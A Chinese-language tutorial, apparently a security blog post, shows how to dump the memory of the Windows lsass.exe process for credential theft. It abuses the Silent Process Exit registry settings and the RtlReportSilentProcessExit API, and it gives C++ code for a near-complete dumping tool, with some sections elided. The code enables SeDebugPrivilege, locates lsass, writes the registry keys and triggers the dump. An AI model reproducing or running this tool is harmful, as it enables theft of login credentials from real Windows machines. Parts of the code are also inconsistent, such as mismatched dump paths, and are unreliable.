前言
由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,文章作者不為此承擔任何責任。(本文僅用于交流學習)
基礎知識
我們先來看看什么是靜默退出,在Windows7開始,就可以設置對指定進程的靜默退出(官方術語是"無提示進程退出")。監視功能不會檢測進程最后一個線程退出時發生的正常進程終止,監視功能不會檢測由內核模式代碼啟動的進程終止。
如果我們要對某進程使用靜默退出,我們可以在注冊表中如下設置,將GlobalFlag值設置為0x200,當然我們需要先設置ProcessName項指定進程
HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ProcessName
HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ProcessName\\GlobalFlag
我們還可以配置當進程以無提示方式退出時要執行的操作??梢耘渲猛ㄖ?、事件日志記錄和轉儲文件的創建,因為我們要Dump,因此我們重點關心轉儲文件的創建。
這里有全局配置與應用程序設置兩種
- 全局設置:適用于靜默退出監視的所有進程,在注冊表中的位置如下HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit
- 應用程序設置:設用于單個進程的設置,在注冊中設置的位置如下HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\ProcessName
我們這里選擇應用程序設置即可,沒必要使用全局的設置。還有很多設置,但是這里我們只看我們需要使用的,所有我們來看看報告模式,大致就是檢測到進程靜默退出后,執行的操作(但是此設置不能用于全局設置)

ReportingMode有三個值可以設置,這里我們選擇LOCAL_DUMP(0x2)
既然我們使用轉儲文件,那么還需要指定轉儲文件的位置

LocalDumpFolder所對應的值即可我們轉儲文件所存放的位置,那對于我們的轉儲文件有沒有大小的限制呢,默認情況下是沒有限制的。
我們還需要看看轉儲類型

我們可以設置DumpType的值去指定我們需要轉儲的類型,上面圖片可能看不太明白,這不影響,我們可以設置為2,為什么設置為2我們看看如下

然后就是最重要的一步了,如何使進程崩潰(lsass.exe進程崩潰的話會導致機器重啟),顯然真的讓其崩潰肯定不可取。我們可以利用RtlReportSilentProcessExit這個函數API,該API會與Windows錯誤報告服務(WerSvcGroup下的WerSvc)通信,告訴服務該進程正在執行靜默退出。然后,WER服務將啟動WerFault.exe,該文件將轉儲現有進程。但是調用此API不會導致進程退出。所有這一步就解決了。
關于RtlReportSilentProcessExit函數的定義

現在應該思路很清晰了吧,我們可以寫個簡單的利用程序來幫助我們自動化Dump,我們可以利用Windows API函數幫助我們去設置這些值,這里主要用到RegCreateKeyExW、RegSetValueExW,對于這兩個函數的用法與用途,我們來簡單的介紹一下
RegCreateKeyExW
該函數主要用于打開指定的注冊表的項,如果不存在那么就創建,我們編寫一個簡單的程序來看看效果
#include <windows.h>
#include <iostream>
using namespace std;
int main() {
HKEY hKey \= HKEY\_CURRENT\_USER;
LPCWSTR lpSubKey \= L"Software\\\\test";
HKEY phkResult \= NULL;
DWORD Result \= NULL;
RegCreateKeyExW(hKey, lpSubKey, 0, NULL, REG\_OPTION\_NON\_VOLATILE, KEY\_ALL\_ACCESS, NULL, &phkResult, &Result);
if (Result \== 0x00000001L) {
cout << "\[+\] 密鑰不存在且已創建" << endl;
}
else if (Result \== 0x00000002L)
{
cout << "\[+\] 密鑰已存在" << endl;
}
else
{
cout << "\[-\] RegCreateKeyExW Error" << endl;
}
}

RegSetValueExW
該函數主要就是在指定的子項中設定指定的數值
#include <windows.h>
#include <iostream>
using namespace std;
int main() {
HKEY hKey \= HKEY\_CURRENT\_USER;
LPCWSTR lpSubKey \= L"Software\\\\test";
HKEY phkResult \= NULL;
LSTATUS Open \= RegOpenKeyExW(hKey, lpSubKey, REG\_OPTION\_NON\_VOLATILE, KEY\_ALL\_ACCESS, &phkResult);
if (Open != ERROR\_SUCCESS) {
cout << "\[-\] Not found" << endl;
return 1;
}
cout << "\[+\] RegOpenKeyExW Success" << endl;
DWORD Test\_Value \= 0x20;
LSTATUS SetValye \= RegSetValueExW(phkResult, L"test", 0, REG\_DWORD, (const BYTE\*)&Test\_Value, sizeof(DWORD));
if (SetValye != ERROR\_SUCCESS) {
cout << "\[-\] RegSetValueExW Error" << endl;
return 1;
}
cout << "\[+\] RegSetValueExW Success" << endl;
}

好了我們現在來總結一下步驟
- RegCreateKeyExW、RegSetValueExW設置注冊表中的HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessName 、HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessName\GlobalFlag
- RegCreateKeyExW、RegSetValueExW設置注冊表中的HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\ProcessName
- 設置好后獲取目標進程,后調用RtlReportSilentProcessExit
代碼實現
#include <windows.h>
#include <iostream>
#include <string>
#include <tlhelp32.h>
#include <processthreadsapi.h>
#include <DbgHelp.h>
using namespace std;
typedef NTSTATUS(NTAPI* RtlReportSilentProcessExit_func) (
_In_ HANDLE ProcessHandle,
_In_ NTSTATUS ExitStatus
);
RtlReportSilentProcessExit_func RtlReportSilentProcessExit = (RtlReportSilentProcessExit_func)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlReportSilentProcessExit");
typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(
ULONG Privilege, BOOL Enable, BOOL CurrentThread, PULONG Enabled
);
_RtlAdjustPrivilege RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlAdjustPrivilege");
int SeDebugPrivilege() {
ULONG t;
RtlAdjustPrivilege(20, TRUE, FALSE, &t);
if (RtlAdjustPrivilege == NULL) {
cout << "[-] Unable to resolve RtlAdjustPrivilege" << endl;
return 1;
}
cout << "[+] RtlAdjustPrivilege Success" << endl;
}
int GetPid() {
HRESULT hr;
DWORD pid;
PROCESSENTRY32 ed;
ed.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (Process32First(snapshot, &ed) == TRUE)
{
while (Process32Next(snapshot, &ed) == TRUE)
{
if ((string)ed.szExeFile == "lsass.exe") {
pid = ed.th32ProcessID;
}
}
}
CloseHandle(snapshot);
return pid;
}
int RegeditSet() {
HKEY hKey = HKEY_LOCAL_MACHINE;
LPCWSTR lpSubKey = L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\lsass.exe";
HKEY phkResult;
DWORD Result = NULL;
.............................................................
.............................................................
.............................................................
}
else
{
cout << "[-] RegCreateKeyExW SilentProcessExit Error" << endl;
return 1;
}
DWORD ReportingMode = 0x2;
WCHAR LocalDumpFolder[MAX_PATH] = L"C:\\temp";
DWORD DumpType = 0x2;
.............................................................
.............................................................
.............................................................
if (RegSetValue_ReportingMode != ERROR_SUCCESS || RegSetValue_LocalDumpFolder != ERROR_SUCCESS
|| RegSetValue_DumpType != ERROR_SUCCESS) {
cout << "[-] RegSetValueExW has an Error " << endl;
return 1;
}
cout << "[+] Success Setting All" << endl;
}
int main() {
if (RegeditSet() == 1) {
return 1;
}
DWORD pid = GetPid();
cout << "[+] Lsass Pid is:" << pid << endl;
SeDebugPrivilege();
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (hProcess == NULL) {
cout << "[-] OpenProcess Error" << endl;
return 1;
}
RtlReportSilentProcessExit(hProcess, 0);
cout << "[+] Path:C:\\tmp" << endl;
}

參考:(建議詳細閱讀完)??https://learn.microsoft.com/zh-cn/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit??